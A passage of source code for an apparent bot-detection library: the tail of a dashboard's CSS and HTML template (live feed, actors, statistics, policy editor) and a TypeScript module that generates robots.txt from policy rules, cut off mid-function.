{ display: flex; gap: 6px; flex-wrap: wrap; margin-top: 12px; }\n.tools button { font-size: 11.5px; padding: 4px 9px; }\n\n.editor { padding: 12px 15px 14px; display: grid; gap: 10px; }\ntextarea {\n font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; font-size: 12px; line-height: 1.5;\n width: 100%; min-height: 320px; resize: vertical; padding: 11px 12px; tab-size: 2;\n border: 1px solid var(--line); border-radius: 9px; background: var(--surface-2); color: var(--ink);\n}\ntextarea[readonly] { opacity: .8; }\n.editor-bar { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }\n.result { font-size: 12.5px; border-radius: 9px; padding: 10px 12px; border: 1px solid var(--line); background: var(--surface-2); }\n.result.ok { border-color: color-mix(in srgb, var(--good-text) 45%, var(--line)); }\n.result.bad { border-color: color-mix(in srgb, var(--crit-text) 45%, var(--line)); color: var(--crit-text); }\n.result.warn { border-color: color-mix(in srgb, var(--warn-text) 45%, var(--line)); }\n.result b { font-weight: 620; }\n.diff { width: 100%; border-collapse: collapse; margin-top: 8px; font-size: 12px; }\n.diff th { text-align: left; font-size: 10.5px; text-transform: uppercase; letter-spacing: .04em; color: var(--muted); padding: 4px 8px 4px 0; border-bottom: 1px solid var(--line); }\n.diff td { padding: 5px 8px 5px 0; border-bottom: 1px solid var(--line-soft); vertical-align: top; }\n.diff .from { color: var(--muted); }\n.diff .to { font-weight: 600; }\n.diff .to.deny { color: var(--crit-text); }\n.diff .to.allow { color: var(--good-text); }\npre.code {\n margin: 0; padding: 11px 12px; border-radius: 9px; border: 1px solid var(--line);\n background: var(--surface-2); font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;\n font-size: 11.5px; line-height: 1.5; overflow-x: auto; white-space: pre; color: var(--ink-2);\n}\n.notice { display: grid; grid-template-columns: 74px 1fr; gap: 10px; padding: 8px 15px; border-bottom: 1px solid var(--line-soft); font-size: 12.5px; }\n.notice:last-child { border-bottom: 0; }\n.notice .when { color: var(--muted); font-size: 11.5px; font-variant-numeric: tabular-nums; }\n.notice.warning .tag { color: var(--warn-text); font-weight: 600; }\n.notice.error .tag { color: var(--crit-text); font-weight: 600; }\n.dead { color: var(--muted); }\n.dead .lbl { text-decoration: line-through; }\n.pill { font-size: 10.5px; padding: 1px 7px; border-radius: 999px; border: 1px solid var(--line); color: var(--muted); margin-left: 6px; }\n.actor-head { display: flex; align-items: center; gap: 10px; padding: 12px 15px; border-bottom: 1px solid var(--line); }\n.actor-head .who { font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; font-size: 13px; font-weight: 600; }\n/* --- the rule editor ----------------------------------------------------- */\n.bar-actions { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; padding: 10px 15px; border-bottom: 1px solid var(--line); background: var(--surface); }\n.bar-actions + .bar-actions, .rulelist + .bar-actions { border-bottom: 0; border-top: 1px solid var(--line); }\n.bar-actions .grow { flex: 1 1 auto; }\nbutton.primary { background: var(--accent-solid); border-color: var(--accent-solid); color: #fff; font-weight: 560; }\nbutton.primary:hover { background: color-mix(in srgb, var(--accent-solid) 86%, #000); border-color: transparent; color: #fff; }\nbutton.danger { color: var(--crit-text); }\nbutton.danger:hover { border-color: color-mix(in srgb, var(--crit-text) 50%, var(--line)); }\nbutton.icon { padding: 3px 8px; font-size: 12px; line-height: 1.2; }\n.dirty { font-size: 11.5px; color: var(--warn-text); font-weight: 560; display: inline-flex; align-items: center; gap: 6px; }\n.dirty::before { content: \"\"; width: 7px; height: 7px; border-radius: 50%; background: var(--warn-text); }\n\n.rulelist { display: grid; gap: 12px; padding: 14px 15px 16px; }\n.rule {\n border: 1px solid var(--line); border-radius: 11px; background: var(--surface-2);\n transition: border-color .12s, box-shadow .12s;\n}\n.rule:focus-within { border-color: color-mix(in srgb, var(--s1) 55%, var(--line)); box-shadow: 0 0 0 3px color-mix(in srgb, var(--s1) 12%, transparent); }\n.rule.locked { background: color-mix(in srgb, var(--ink) 3%, var(--surface)); }\n.rule-head { display: flex; align-items: center; gap: 8px; padding: 8px 10px; flex-wrap: nowrap; }\n.rule:not(.collapsed) .rule-head { border-bottom: 1px solid var(--line); }\n.rule-head .ord { font-size: 11px; color: var(--muted); font-variant-numeric: tabular-nums; min-width: 20px; text-align: right; }\n.rule-head input[type=\"text\"] { flex: 0 1 240px; width: auto; min-width: 130px; }\n.rule-head select { flex: 0 0 auto; }\n.chev { border: 0; background: none; padding: 2px 4px; color: var(--muted); font-size: 11px; line-height: 1; }\n.chev:hover { background: none; color: var(--ink); }\n.rule-summary { flex: 1 1 auto; display: flex; gap: 5px; flex-wrap: wrap; align-items: center; min-width: 0; overflow: hidden; }\n.rule-summary .k { font-size: 10.5px; color: var(--muted); }\n.rule-summary .t { font-size: 10.5px; padding: 1px 6px; border-radius: 999px; background: color-mix(in srgb, var(--ink) 6%, transparent); color: var(--ink-2); white-space: nowrap; }\n.rule-summary .none { font-size: 11px; color: var(--muted); font-style: italic; }\n.act-pill { font-size: 11px; font-weight: 620; padding: 2px 9px; border-radius: 999px; white-space: nowrap; }\n.act-pill.deny { background: color-mix(in srgb, var(--crit-text) 14%, transparent); color: var(--crit-text); }\n.act-pill.mitigate { background: color-mix(in srgb, var(--warn-text) 16%, transparent); color: var(--warn-text); }\n.act-pill.allow { background: color-mix(in srgb, var(--good-text) 14%, transparent); color: var(--good-text); }\n.act-pill.tag { background: color-mix(in srgb, var(--ink) 8%, transparent); color: var(--ink-2); }\n.rule-body { padding: 11px 12px 13px; display: grid; gap: 11px; }\n.rule.collapsed .rule-body { display: none; }\n.field { display: grid; grid-template-columns: 92px minmax(0, 1fr); gap: 10px; align-items: start; font-size: 12.5px; }\n.field > label { color: var(--muted); padding-top: 5px; }\n.field-row { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }\n.hint { color: var(--muted); font-size: 11px; }\n\ninput[type=\"text\"], input[type=\"number\"], select {\n font: inherit; font-size: 12.5px; padding: 5px 9px; border-radius: 7px;\n border: 1px solid var(--line); background: var(--surface); color: var(--ink); min-width: 0;\n}\ninput[type=\"text\"] { width: 100%; }\ninput[type=\"number\"] { width: 92px; }\nselect { cursor: pointer; }\ninput::placeholder { color: color-mix(in srgb, var(--muted) 80%, transparent); }\n.mono-input { font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; }\n\n.chips-select { display: flex; gap: 4px; flex-wrap: wrap; }\n.chips-select button {\n font-size: 11px; padding: 2px 8px; border-radius: 999px; color: var(--muted);\n background: var(--surface); border: 1px solid var(--line);\n}\n.chips-select button[aria-pressed=\"true\"] { background: color-mix(in srgb, var(--s1) 14%, var(--surface)); border-color: color-mix(in srgb, var(--s1) 50%, var(--line)); color: var(--ink); font-weight: 560; }\n\n.seg { display: inline-flex; border: 1px solid var(--line); border-radius: 7px; overflow: hidden; }\n.seg button { border: 0; border-radius: 0; padding: 4px 10px; font-size: 11.5px; background: var(--surface); }\n.seg button + button { border-left: 1px solid var(--line); }\n.seg button[aria-pressed=\"true\"] { background: color-mix(in srgb, var(--s1) 14%, var(--surface)); color: var(--ink); font-weight: 560; }\n\n.drop { outline: 2px dashed color-mix(in srgb, var(--s1) 60%, transparent); outline-offset: -6px; }\n\n/* --- the actors table, the tester and the range sets --------------------- */\n.warn-text { color: var(--warn-text); }\n#actor-rows td { font-size: 12.5px; }\n#actor-rows td.who { font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; overflow-wrap: anywhere; }\n#actor-rows td.acts { text-align: right; white-space: nowrap; }\n#actor-rows td.acts button { font-size: 11px; padding: 3px 8px; margin-left: 4px; }\n/* A tag, not a warning: a cleared actor is a decision somebody made, and a metronomic\n one is a measurement. Neither is a verdict, so neither gets a verdict's colour. */\n.tagline { font-size: 11px; color: var(--muted); }\n.tagline b { color: var(--ink-2); font-weight: 600; }\n\n#test-input { min-height: 82px; }\n#tester-panel .editor { gap: 8px; }\n#tester-panel .field-row { gap: 6px; }\n#tester-panel input[type=\"text\"] { flex: 1 1 120px; min-width: 90px; }\n.assumed { color: var(--muted); font-size: 11px; margin-top: 6px; }\n\n.rangeset { border-bottom: 1px solid var(--line-soft); padding: 10px 15px; }\n.rangeset:last-child { border-bottom: 0; }\n.rangeset h3 { margin: 0 0 6px; font-size: 12.5px; font-weight: 620; display: flex; align-items: baseline; gap: 8px; }\n.rangeset h3 span { font-weight: 400; color: var(--muted); font-size: 11.5px; }\n.cidrs { display: flex; gap: 5px; flex-wrap: wrap; }\n.cidr {\n display: inline-flex; align-items: center; gap: 5px; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;\n font-size: 11px; background: color-mix(in srgb, var(--ink) 6%, transparent); border-radius: 999px; padding: 2px 4px 2px 9px;\n}\n.cidr button { border: 0; background: none; padding: 0 4px; font-size: 12px; line-height: 1; color: var(--muted); border-radius: 999px; }\n.cidr button:hover { background: none; color: var(--crit-text); }\n.cidr.readonly { padding-right: 9px; }\n.toasts { position: fixed; right: 18px; bottom: 18px; z-index: 60; display: grid; gap: 8px; max-width: 380px; }\n.toast {\n background: var(--raised); border: 1px solid var(--line); border-left: 3px solid var(--s1);\n border-radius: 9px; padding: 10px 12px; font-size: 12.5px; box-shadow: 0 6px 22px rgba(0,0,0,.18);\n animation: toast-in .16s ease-out;\n}\n.toast.ok { border-left-color: var(--good-text); }\n.toast.bad { border-left-color: var(--crit-text); }\n.toast.warn { border-left-color: var(--warn-text); }\n.toast b { display: block; margin-bottom: 2px; }\n.toast span { color: var(--muted); }\n@keyframes toast-in { from { opacity: 0; transform: translateY(6px); } to { opacity: 1; transform: none; } }\n@media (prefers-reduced-motion: reduce) { .toast { animation: none; } * { transition: none !important; } }\n</style>\n</head>\n<body>\n\n<a class=\"skip\" href=\"#view-live\">Skip to the feed</a>\n\n<header>\n <div class=\"head-row\">\n <div class=\"brand\"><h1 id=\"title\">__TITLE__</h1> <span>bot dashboard</span></div>\n <output class=\"live\" id=\"live\" aria-live=\"polite\"><span class=\"dot\" id=\"dot\"></span><span id=\"conn\">connecting…</span></output>\n <div class=\"grow\"></div>\n <nav class=\"head-links\" id=\"links\" aria-label=\"Related\"></nav>\n <div class=\"head-actions\">\n <button id=\"theme\" aria-label=\"Switch between light and dark\">Theme</button>\n <button id=\"pause\" aria-pressed=\"false\">Pause</button>\n <button id=\"reset\" class=\"danger\" hidden>Reset</button>\n </div>\n </div>\n <div class=\"nav-row\">\n <div class=\"tabs\" role=\"tablist\" aria-label=\"Dashboard views\">\n <button class=\"tab\" id=\"tab-live\" role=\"tab\" aria-selected=\"true\" aria-controls=\"view-live\">Live feed</button>\n <button class=\"tab\" id=\"tab-actors\" role=\"tab\" aria-selected=\"false\" aria-controls=\"view-actors\">Actors</button>\n <button class=\"tab\" id=\"tab-stats\" role=\"tab\" aria-selected=\"false\" aria-controls=\"view-stats\">Statistics</button>\n <button class=\"tab\" id=\"tab-policy\" role=\"tab\" aria-selected=\"false\" aria-controls=\"view-policy\">Policy<span id=\"notice-badge\" class=\"pill\" hidden></span></button>\n </div>\n <div class=\"facts\" id=\"chips\"></div>\n <div class=\"peers\" id=\"peers\"></div>\n </div>\n</header>\n\n<main class=\"stack\">\n <section class=\"tiles\" id=\"tiles\"></section>\n\n <div id=\"view-live\" role=\"tabpanel\" aria-labelledby=\"tab-live\" class=\"stack\">\n <section class=\"panel\" id=\"actor-panel\" hidden>\n <div class=\"actor-head\">\n <span class=\"who\" id=\"actor-key\"></span>\n <span class=\"grow\"></span>\n <button id=\"actor-close\">Close</button>\n </div>\n <div class=\"two\">\n <dl class=\"kv\" id=\"actor-stats\"></dl>\n <div class=\"bars\" id=\"actor-mix\"></div>\n </div>\n <div class=\"bar-actions\" id=\"actor-actions\"></div>\n </section>\n\n <div class=\"two\">\n <section class=\"panel feed-panel\">\n <h2>Requests <span class=\"sub\" id=\"feed-count\"></span><span class=\"sub win\" id=\"feed-window\"></span><span class=\"sub warn-text\" id=\"feed-skipped\" hidden></span></h2>\n <div class=\"toolbar\">\n <div class=\"filters\" id=\"filters\"></div>\n <div class=\"search\">\n <input type=\"search\" id=\"search\" placeholder=\"path:/api actor:203.0.113.4 -rule:allow-crawlers\" spellcheck=\"false\" autocomplete=\"off\">\n <kbd aria-hidden=\"true\">/</kbd>\n </div>\n <button id=\"feed-export\" title=\"Download every request matching this filter as replay JSONL\">Export</button>\n </div>\n <div class=\"feed-scroll\">\n <table>\n <thead>\n <tr>\n <th class=\"num\">Time</th><th>Request</th><th>Verdict</th><th class=\"num\">Score</th><th>Action</th><th class=\"num\">ms</th>\n </tr>\n </thead>\n <tbody id=\"rows\"></tbody>\n </table>\n </div>\n <div class=\"empty\" id=\"empty\">Nothing assessed yet. Send some traffic through the handler and it appears here within a moment.</div>\n </section>\n\n <div class=\"stack\">\n <section class=\"panel\">\n <h2>Detectors firing <span class=\"sub win\"></span></h2>\n <div class=\"bars\" id=\"live-detectors\"></div>\n </section>\n <section class=\"panel\" id=\"live-actors-panel\">\n <h2>Busiest actors <span class=\"sub win\"></span></h2>\n <div class=\"bars\" id=\"live-actors\"></div>\n </section>\n <section class=\"panel\" id=\"tester-panel\">\n <h2>Test a request <span class=\"sub\">nothing is recorded</span></h2>\n <div class=\"editor\">\n <textarea id=\"test-input\" rows=\"4\" spellcheck=\"false\" autocomplete=\"off\" aria-label=\"A User-Agent, a curl command, or a block of request headers\"\n placeholder=\"Paste a User-Agent, a curl command, or a block of request headers\"></textarea>\n <div class=\"field-row\">\n <input type=\"text\" id=\"test-ip\" class=\"mono-input\" placeholder=\"client address (optional)\" aria-label=\"Client address\">\n <input type=\"text\" id=\"test-url\" class=\"mono-input\" placeholder=\"/path (optional)\" aria-label=\"Path\">\n <button id=\"test-run\" class=\"primary\">Assess</button>\n </div>\n <div class=\"result\" id=\"test-result\" hidden></div>\n </div>\n </section>\n\n <section class=\"panel\" id=\"evidence-legend\">\n <h2>Reading this</h2>\n <div class=\"note\">\n <p><b>Purple</b> evidence is <em>proven</em>: a self-declaration, a refuted\n identity, a trap, a protocol violation. Only proven evidence may deny anybody.</p>\n <p><b>Red, amber and grey</b> are probabilistic. They accumulate into a score\n and may tag, delay, rate-limit or challenge — never block.</p>\n <p>An <b>amber left edge</b> is the safety guard stopping a rule: the policy\n asked for a terminal action the evidence could not support, and got the\n fallback instead. Those rows are the library working, not failing.</p>\n </div>\n </section>\n </div>\n </div>\n </div>\n\n <div id=\"view-actors\" role=\"tabpanel\" aria-labelledby=\"tab-actors\" class=\"stack\" hidden>\n <section class=\"panel\">\n <h2>Actors in the registry <span class=\"sub\" id=\"actors-count\"></span></h2>\n <div class=\"note\" id=\"actors-note\">Everyone the engine is currently remembering, busiest first — a far larger\n population than the feed's ring, which holds requests rather than clients. This is\n what <code>cadence</code>, <code>crawl-breadth</code> and <code>rate-anomaly</code> are reading.</div>\n <div class=\"feed-scroll\">\n <table>\n <thead>\n <tr>\n <th>Actor</th><th class=\"num\">Requests</th><th class=\"num\">Per min</th><th class=\"num\">Paths</th>\n <th class=\"num\">Cadence</th><th class=\"num\">Proven</th><th class=\"num\">Unsolved</th><th>State</th><th><span class=\"sr-only\">Actions</span></th>\n </tr>\n </thead>\n <tbody id=\"actor-rows\"></tbody>\n </table>\n </div>\n <div class=\"empty\" id=\"actors-empty\" hidden>Nothing in the registry yet.</div>\n </section>\n </div>\n\n <div id=\"view-stats\" role=\"tabpanel\" aria-labelledby=\"tab-stats\" class=\"stack\" hidden>\n <div class=\"two\">\n <section class=\"panel\">\n <h2>Traffic <span class=\"range\" id=\"traffic-range\"></span><span class=\"sub\" id=\"traffic-window\"></span></h2>\n <div class=\"chart\" id=\"traffic-chart\"><svg id=\"traffic\" role=\"img\" aria-labelledby=\"traffic-alt\"></svg><div class=\"tip\" id=\"traffic-tip\"></div></div>\n <p class=\"sr-only\" id=\"traffic-alt\"></p>\n <div class=\"legend\" id=\"traffic-legend\"></div>\n </section>\n <section class=\"panel\">\n <h2>Assessment latency <span class=\"sub\">since start</span></h2>\n <div class=\"chart\" id=\"latency-chart\"><svg id=\"latency\" role=\"img\" aria-labelledby=\"latency-alt\"></svg><div class=\"tip\" id=\"latency-tip\"></div></div>\n <p class=\"sr-only\" id=\"latency-alt\"></p>\n <div class=\"legend\"><span id=\"latency-summary\"></span></div>\n </section>\n </div>\n\n <div class=\"two\">\n <section class=\"panel\">\n <h2>Score distribution <span class=\"range\" id=\"score-scope\"></span><span class=\"sub\" id=\"score-window\"></span></h2>\n <div class=\"chart\" id=\"score-chart\"><svg id=\"scores\" role=\"img\" aria-labelledby=\"score-alt\"></svg><div class=\"tip\" id=\"score-tip\"></div></div>\n <p class=\"sr-only\" id=\"score-alt\"></p>\n <div class=\"legend\" id=\"score-legend\"></div>\n </section>\n <section class=\"panel\">\n <h2>Guard stops by rule <span class=\"sub win\"></span></h2>\n <div class=\"bars\" id=\"stat-guard\"></div>\n </section>\n </div>\n\n <div class=\"grid3\">\n <section class=\"panel\"><h2>Verdicts <span class=\"sub\">since start</span></h2><div class=\"bars\" id=\"stat-verdicts\"></div></section>\n <section class=\"panel\"><h2>Actions taken <span class=\"sub\">since start</span></h2><div class=\"bars\" id=\"stat-actions\"></div></section>\n <section class=\"panel\"><h2>Bot classes <span class=\"sub\">since start</span></h2><div class=\"bars\" id=\"stat-classes\"></div></section>\n </div>\n\n <div class=\"grid3\">\n <section class=\"panel\"><h2>Detector firings <span class=\"sub\">since start</span></h2><div class=\"bars\" id=\"stat-detectors\"></div></section>\n <section class=\"panel\">\n <h2>Challenges</h2>\n <div id=\"stat-challenges\"></div>\n </section>\n <section class=\"panel\">\n <h2>Health</h2>\n <div id=\"stat-health\"></div>\n </section>\n </div>\n\n <div class=\"two\">\n <section class=\"panel\" id=\"audit-panel\">\n <h2>Audit <span class=\"sub\" id=\"audit-spans\"></span></h2>\n <div id=\"audit-body\"></div>\n </section>\n <section class=\"panel\" id=\"audit-checks-panel\">\n <h2>Checks installed</h2>\n <div class=\"detectors\" id=\"audit-checks\"></div>\n </section>\n </div>\n\n <div class=\"grid3\">\n <section class=\"panel\" id=\"identities-panel\"><h2>Identities seen <span class=\"sub win\"></span></h2><div class=\"bars\" id=\"stat-identities\"></div></section>\n <section class=\"panel\"><h2>Busiest paths <span class=\"sub win\"></span></h2><div class=\"bars\" id=\"stat-paths\"></div></section>\n <section class=\"panel\"><h2>Denied paths <span class=\"sub win\"></span></h2><div class=\"bars\" id=\"stat-denied-paths\"></div></section>\n </div>\n\n <div class=\"two\">\n <section class=\"panel\">\n <h2>Installed detectors <span class=\"sub\" id=\"detector-count\"></span></h2>\n <div class=\"detectors\" id=\"stat-detector-list\"></div>\n </section>\n <div class=\"stack\">\n <section class=\"panel\">\n <h2>Rules that fired <span class=\"sub win\"></span></h2>\n <div class=\"bars\" id=\"stat-rule-hits\"></div>\n </section>\n <section class=\"panel\">\n <h2>Bypassed <span class=\"sub\">detection never ran</span></h2>\n <div class=\"bars\" id=\"stat-bypassed\"></div>\n </section>\n </div>\n </div>\n </div>\n\n <div id=\"view-policy\" role=\"tabpanel\" aria-labelledby=\"tab-policy\" class=\"stack\" hidden>\n <div class=\"two\">\n <section class=\"panel\" id=\"editor-panel\">\n <h2>Rules <span class=\"sub\" id=\"policy-mode\"></span></h2>\n <div class=\"bar-actions\">\n <div class=\"seg\" id=\"editor-mode\">\n <button id=\"mode-gui\" aria-pressed=\"true\">Editor</button>\n <button id=\"mode-json\" aria-pressed=\"false\">JSON</button>\n </div>\n <button id=\"policy-preview\">Preview</button>\n <button id=\"policy-apply\" class=\"primary\" hidden>Apply</button>\n <button id=\"policy-revert\">Revert</button>\n <span class=\"grow\"></span>\n <button id=\"policy-import\">Import…</button>\n <button id=\"policy-export\">Export</button>\n <span class=\"dirty\" id=\"policy-dirty\" hidden>unsaved</span>\n </div>\n <div id=\"editor-gui\">\n <div class=\"rulelist\" id=\"rulelist\"></div>\n <div class=\"bar-actions\">\n <button id=\"rule-add\">+ Add rule</button>\n <button id=\"rule-expand\">Expand all</button>\n <span class=\"hint\" id=\"policy-note\"></span>\n </div>\n </div>\n <div class=\"editor\" id=\"editor-json\" hidden>\n <textarea id=\"policy-json\" spellcheck=\"false\" autocomplete=\"off\" aria-label=\"Policy rules as JSON\"></textarea>\n </div>\n <div class=\"editor\"><div class=\"result\" id=\"policy-result\" hidden></div></div>\n <input type=\"file\" id=\"policy-file\" accept=\"application/json,.json\" hidden>\n </section>\n\n <div class=\"stack\">\n <section class=\"panel\" id=\"guard-panel\">\n <h2>Guard <span class=\"sub\" id=\"guard-mode\"></span></h2>\n <div id=\"stat-policy\"></div>\n <div class=\"note\" id=\"guard-note\"></div>\n </section>\n <section class=\"panel\" id=\"ranges-panel\">\n <h2>Range sets <span class=\"sub\" id=\"ranges-mode\"></span></h2>\n <div id=\"ranges-body\"></div>\n <div class=\"note\" id=\"ranges-note\"></div>\n </section>\n <section class=\"panel\">\n <h2>Preview a shipped preset</h2>\n <div class=\"rules\" id=\"preset-buttons\"></div>\n <div class=\"note\">Runs the preset against the requests still in the window and shows what would change. Nothing is applied.</div>\n </section>\n <section class=\"panel\" id=\"changes-panel\">\n <h2>Changes <span class=\"sub\" id=\"change-count\"></span></h2>\n <div id=\"stat-changes\"></div>\n <div class=\"note\">What was applied to this process at runtime, and by whom when the dashboard's\n <code>auth</code> could say. Bounded and in memory: the durable copy is the\n <code>policy-change</code>, <code>guard-change</code>, <code>range-change</code> and\n <code>actor-change</code> events.</div>\n </section>\n <section class=\"panel\" id=\"notices-panel\">\n <h2>Notices <span class=\"sub\" id=\"notice-count\"></span></h2>\n <div id=\"stat-notices\"></div>\n </section>\n </div>\n </div>\n\n <div class=\"two\">\n <section class=\"panel\">\n <h2>Rules, in evaluation order</h2>\n <div class=\"rules\" id=\"stat-rules\"></div>\n </section>\n <section class=\"panel\" id=\"robots-panel\">\n <h2>robots.txt this policy implies</h2>\n <div class=\"editor\"><pre class=\"code\" id=\"robots-preview\"></pre><div id=\"robots-notes\"></div></div>\n </section>\n </div>\n </div>\n</main>\n\n<div class=\"toasts\" id=\"toasts\" aria-live=\"polite\"></div>\n\n<script nonce=\"__NONCE__\">\nwindow.__BOOTSTRAP__ = JSON.parse(__BOOT_JSON__);\n__SCRIPT__\n</script>\n</body>\n</html>\n`;\n","import { BOT_SIGNATURES } from \"./detectors/known-bots.js\";\nimport { TERMINAL_ACTIONS } from \"./policy/types.js\";\nimport type { BotCategory, BotSignature } from \"./detectors/known-bots.js\";\nimport type { MatchSpec, Rule } from \"./policy/types.js\";\n\n/**\n * Generating `robots.txt` from what your policy actually does.\n *\n * Declining a crawler and not saying so is the worst of both worlds: the crawler\n * keeps coming, wastes your bandwidth discovering it is unwelcome on every request,\n * and you get no credit for having a policy. `robots.txt` is where you say it — and\n * for the well-behaved crawlers, saying it is the *only* thing you need to do, since\n * they will simply stop.\n *\n * Two things this file will not pretend. `robots.txt` is a request, not enforcement;\n * everything that ignores it is exactly the population this library exists for. And a\n * generated file can only reflect rules it can *read* — see {@link robotsFromRules}.\n */\n\nexport interface RobotsOptions {\n /** Signature ids to disallow entirely, e.g. `[\"gptbot\", \"ccbot\"]`. */\n disallowBots?: readonly string[];\n /** Whole categories to disallow, e.g. `[\"ai\", \"seo\"]`. */\n disallowCategories?: readonly BotCategory[];\n /** Paths disallowed for every crawler. Put your trap paths here. */\n disallowPaths?: readonly string[];\n /** Paths explicitly allowed for every crawler, evaluated ahead of the disallows. */\n allowPaths?: readonly string[];\n /** `Sitemap:` lines. Absolute URLs, per the specification. */\n sitemap?: string | readonly string[];\n /** `Crawl-delay:` in seconds for the wildcard group. Not honoured by every crawler. */\n crawlDelay?: number;\n /** Signature database to resolve ids and categories against. */\n signatures?: readonly BotSignature[];\n /** Lines added verbatim at the top, each already comment-prefixed if you want comments. */\n header?: readonly string[];\n}\n\n/**\n * Renders a `robots.txt`.\n *\n * Group ordering follows RFC 9309: a crawler obeys the most specific group that names\n * it and ignores every other, so the per-agent groups must repeat any global path\n * rules that should still apply to them. That is handled here — forgetting it is the\n * classic way a `robots.txt` accidentally *un*-blocks a trap path for exactly the\n * crawlers you were most careful about.\n */\nexport function generateRobotsTxt(options: RobotsOptions = {}): string {\n const signatures = options.signatures ?? BOT_SIGNATURES;\n const byId = new Map(signatures.map((signature) => [signature.id, signature]));\n\n const declined = new Map<string, BotSignature>();\n for (const id of options.disallowBots ?? []) {\n const signature = byId.get(id);\n if (signature) declined.set(signature.id, signature);\n }\n const categories = new Set(options.disallowCategories ?? []);\n if (categories.size > 0) {\n for (const signature of signatures) {\n if (categories.has(signature.category)) declined.set(signature.id, signature);\n }\n }\n\n const lines: string[] = [];\n for (const line of options.header ?? []) lines.push(line);\n if (lines.length > 0) lines.push(\"\");\n\n // Wildcard group first, for readability. Crawlers pick their group by specificity,\n // not by position, so ordering is purely a courtesy to the human reading the file.\n lines.push(\"User-agent: *\");\n for (const path of options.allowPaths ?? []) lines.push(`Allow: ${path}`);\n for (const path of options.disallowPaths ?? []) lines.push(`Disallow: ${path}`);\n if (options.crawlDelay !== undefined) lines.push(`Crawl-delay: ${Math.max(0, Math.round(options.crawlDelay))}`);\n if ((options.allowPaths ?? []).length === 0 && (options.disallowPaths ?? []).length === 0) {\n lines.push(\"Disallow:\");\n }\n\n for (const signature of [...declined.values()].sort((a, b) => a.id.localeCompare(b.id))) {\n lines.push(\"\", `# ${signature.name}${signature.docs ? ` — ${signature.docs}` : \"\"}`);\n lines.push(`User-agent: ${agentFor(signature)}`);\n // A named group replaces the wildcard group outright for that crawler, so the\n // trap paths have to be repeated here or they would be *permitted* for it.\n for (const path of options.disallowPaths ?? []) lines.push(`Disallow: ${path}`);\n lines.push(\"Disallow: /\");\n }\n\n const sitemaps = options.sitemap === undefined ? [] : typeof options.sitemap === \"string\" ? [options.sitemap] : options.sitemap;\n if (sitemaps.length > 0) {\n lines.push(\"\");\n for (const url of sitemaps) lines.push(`Sitemap: ${url}`);\n }\n\n return `${lines.join(\"\\n\")}\\n`;\n}\n\n/** The `User-agent:` token for a signature. Matching is case-insensitive, so the token works either way. */\nexport function agentFor(signature: BotSignature): string {\n return signature.robotsAgent ?? signature.tokens[0] ?? signature.id;\n}\n\nexport interface RobotsFromRulesResult {\n robotsTxt: string;\n /**\n * Every signature id the generated file declines, with categories expanded to the\n * crawlers they cover. Reporting only the explicitly-named ids would say \"0\n * declined\" for a policy that turns away an entire category.\n */\n declined: string[];\n /**\n * Signature ids a later rule would have declined, but an earlier rule serves.\n *\n * First match wins, so these are *not* in the file. Worth reporting rather than\n * silently omitting: \"why is GPTBot in my robots.txt but ChatGPT-User is not\" has an\n * answer, and it is your own rule order.\n */\n served: string[];\n /**\n * Rules that could not be read, with the reason.\n *\n * A rule whose `match` is a predicate function is opaque — we can run it, but we\n * cannot ask it which crawlers it is about. Those are listed rather than guessed\n * at, because a `robots.txt` that silently omits something you block is worse than\n * no generated file at all: it tells crawlers they are welcome where they are not.\n */\n unreadable: Array<{ rule: string; reason: string }>;\n}\n\n/**\n * Derives a `robots.txt` from the declarative rules in a policy.\n *\n * Reads every rule whose action denies service and whose `match` names an `identity`\n * or a `category`, and declines exactly those crawlers. Rules expressed as predicate\n * functions cannot be introspected and are reported in `unreadable` — check that list\n * before publishing, and add anything it names by hand.\n */\nexport function robotsFromRules(rules: readonly Rule[], options: RobotsOptions = {}): RobotsFromRulesResult {\n const identities = new Set<string>(options.disallowBots ?? []);\n const categories = new Set<BotCategory>(options.disallowCategories ?? []);\n const unreadable: Array<{ rule: string; reason: string }> = [];\n\n // Names an earlier rule *serves*. A policy is first-match-wins, so a crawler matched\n // by a non-terminal rule ahead of a category-wide block is not denied — and telling\n // it in `robots.txt` to stay away entirely would be the file contradicting the\n // policy, in the expensive direction. `decline-ai-training` is the case that found\n // this: it serves ChatGPT-User and blocks the rest of the `ai` category, and the\n // generated file told ChatGPT-User to go away.\n const servedIdentities = new Set<string>();\n const servedCategories = new Set<BotCategory>();\n\n for (const rule of rules) {\n if (!TERMINAL_ACTIONS.has(rule.action)) {\n // Only an unscoped rule serves a crawler across the whole site, which is the\n // only thing a named `robots.txt` group can express.\n if (typeof rule.match !== \"function\" && rule.match.path === undefined) {\n for (const identity of toArray(rule.match.identity)) servedIdentities.add(identity);\n for (const category of toArray(rule.match.category)) servedCategories.add(category);\n }\n continue;\n }\n\n if (typeof rule.match === \"function\") {\n unreadable.push({ rule: rule.id, reason: \"the match is a predicate function, which cannot be inspected\" });\n continue;\n }\n\n const spec: MatchSpec = rule.match;\n const named = toArray(spec.identity);\n const inCategories = toArray(spec.category);\n\n if (named.length === 0 && inCategories.length === 0) {\n unreadable.push({ rule: rule.id, reason: \"the match names no identity or category, so which crawlers it covers cannot be determined\" });\n continue;\n }\n\n // A rule scoped to a path denies service *there*, but a named group in a\n // `robots.txt` gets `Disallow: /` — the whole site. Reported rather than passed\n // over in silence, because the direction of the error is the expensive one: a\n // crawler told to stay away entirely stops fetching the pages you wanted indexed,\n // and that shows up weeks later as a ranking drop with nothing in the logs\n // pointing at this file.\n if (spec.path !== undefined) {\n const scoped = toArray(spec.path)\n .map((pattern) => (typeof pattern === \"string\" ? pattern : String(pattern)))\n .join(\", \");\n unreadable.push({\n rule: rule.id,\n reason: `the match is scoped to ${scoped}, but a named group declines a crawler from the whole site — the generated file turns it away more broadly than the policy does`,\n });\n }\n\n for (const identity of named) identities.add(identity);\n for (const category of inCategories) categories.add(category);\n }\n\n const signatures = options.signatures ?? BOT_SIGNATURES;\n const expanded = new Set(identities);\n for (const signature of signatures) {\n if (categories.has(signature.category)) expanded.add(signature.id);\n }\n\n // Subtract what an earlier rule serves, then hand the renderer a fully expanded\n // list: the categories have already been 